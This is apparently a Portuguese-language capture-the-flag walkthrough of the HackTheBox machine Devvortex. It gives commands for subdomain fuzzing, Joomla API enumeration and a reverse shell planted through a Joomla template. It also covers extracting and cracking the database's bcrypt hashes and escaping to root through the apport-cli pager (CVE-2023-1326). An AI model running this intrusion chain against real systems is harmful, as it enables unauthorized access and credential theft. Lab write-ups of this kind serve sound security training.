
Walkthrough do HackTheBox Devvortex abordando fuzzing de subdomínio, enumeração da API do Joomla, web shell baseada em template, quebra de hash bcrypt e escalação de privilégios via Apport-CLI CVE-2023-1326.
Um walkthrough técnico abrangente detalhando o comprometimento da máquina Devvortex no HackTheBox. Este caminho demonstra Fuzzing de Subdomínios, Enumeração da API do Joomla, Modificação de Template para acesso inicial, Extração e Quebra de Hash do Banco de Dados para movimento lateral, e exploração do Apport-CLI (CVE-2023-1326) para escalação de privilégios até root.
devvortex.htbdev.devvortex.htbapport-cli).Uma descoberta inicial rápida de portas TCP foi realizada em todas as portas:
nmap -Pn -n -p- --open --min-rate 5000 <TARGET_IP>
Uma varredura subsequente de detecção de serviço e versão foi executada contra as portas abertas identificadas:
Bash
nmap -sCV --min-rate 5000 -p22,80 <TARGET_IP>
Adicione o domínio base alvo à sua tabela de resolução de nomes local:
Bash
sudo nano /etc/hosts
# Append: <TARGET_IP> devvortex.htb
Fuzzing de hosts virtuais para identificar ativos web adicionais:
Bash
ffuf -u [http://FUZZ.devvortex.htb](http://FUZZ.devvortex.htb) -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ
Resultado: Descoberto dev.devvortex.htb. Adicionado dev.devvortex.htb a /etc/hosts.
Enumerando rotas no host virtual recém-descoberto:
Bash
ffuf -u [http://dev.devvortex.htb/FUZZ](http://dev.devvortex.htb/FUZZ) -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt:FUZZ
Resultado: Descoberto o endpoint /administrator, expondo um portal de autenticação de administrador do Joomla.
Sondando endpoints públicos expostos pela API REST do Joomla para coletar métricas sensíveis da aplicação e usuários:
Bash
curl -s [http://dev.devvortex.htb/api/index.php/v1/users?public=true](http://dev.devvortex.htb/api/index.php/v1/users?public=true)
curl -s [http://dev.devvortex.htb/api/index.php/v1/application?public=true](http://dev.devvortex.htb/api/index.php/v1/application?public=true)
Usando credenciais descobertas durante a enumeração, faça login no portal /administrator do Joomla:
Navegue até System > Site Templates.
Selecione o template ativo e abra error.php.
Substitua o conteúdo de error.php por um payload padrão de reverse shell em PHP.
Inicie um listener netcat local:
Bash
nc -lvnp 4444
Dispare a execução de error.php solicitando uma página inexistente ou acessando o arquivo diretamente.
Assim que a shell conectar como www-data, gere uma sessão PTY interativa:
Bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Acesse o banco de dados MySQL local usando credenciais recuperadas dos arquivos de configuração web:
Bash
mysql -u lewis -p
Consulte a tabela de usuários para localizar hashes de credenciais armazenados:
SQL
SHOW DATABASES;
USE joomla;
SHOW TABLES;
SELECT username, password FROM sd4fg_users;
Extraia o hash de senha bcrypt do usuário logan para um arquivo local:
Bash
nano hash.txt
Quebre o hash usando John the Ripper junto com rockyou.txt:
Bash
john --format=bcrypt --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Estabeleça uma sessão SSH persistente como usuário logan com as credenciais quebradas:
Bash
Bash
cat user.txt
Inspecione binários permitidos para o usuário logan:
Bash
sudo -l
Saída: O usuário pode executar /usr/bin/apport-cli como root.
Verifique a versão instalada do apport-cli:
Bash
apport-cli --version
Inspecione /var/crash em busca de arquivos de relatório existentes. Se estiver vazio, crie manualmente um arquivo de crash:
Bash
echo "ProblemType: Crash" > /var/crash/.crash
Inicie o apport-cli contra o arquivo de crash criado usando sudo:
Bash
sudo /usr/bin/apport-cli -c /var/crash/.crash
Pressione v para View report.
Quando o paginador (less) carregar o conteúdo, escape para uma shell do sistema digitando:
Plaintext
!/bin/bash
Verifique a elevação para root:
Bash
whoami
# Output: root
Bash
cat /root/root.txt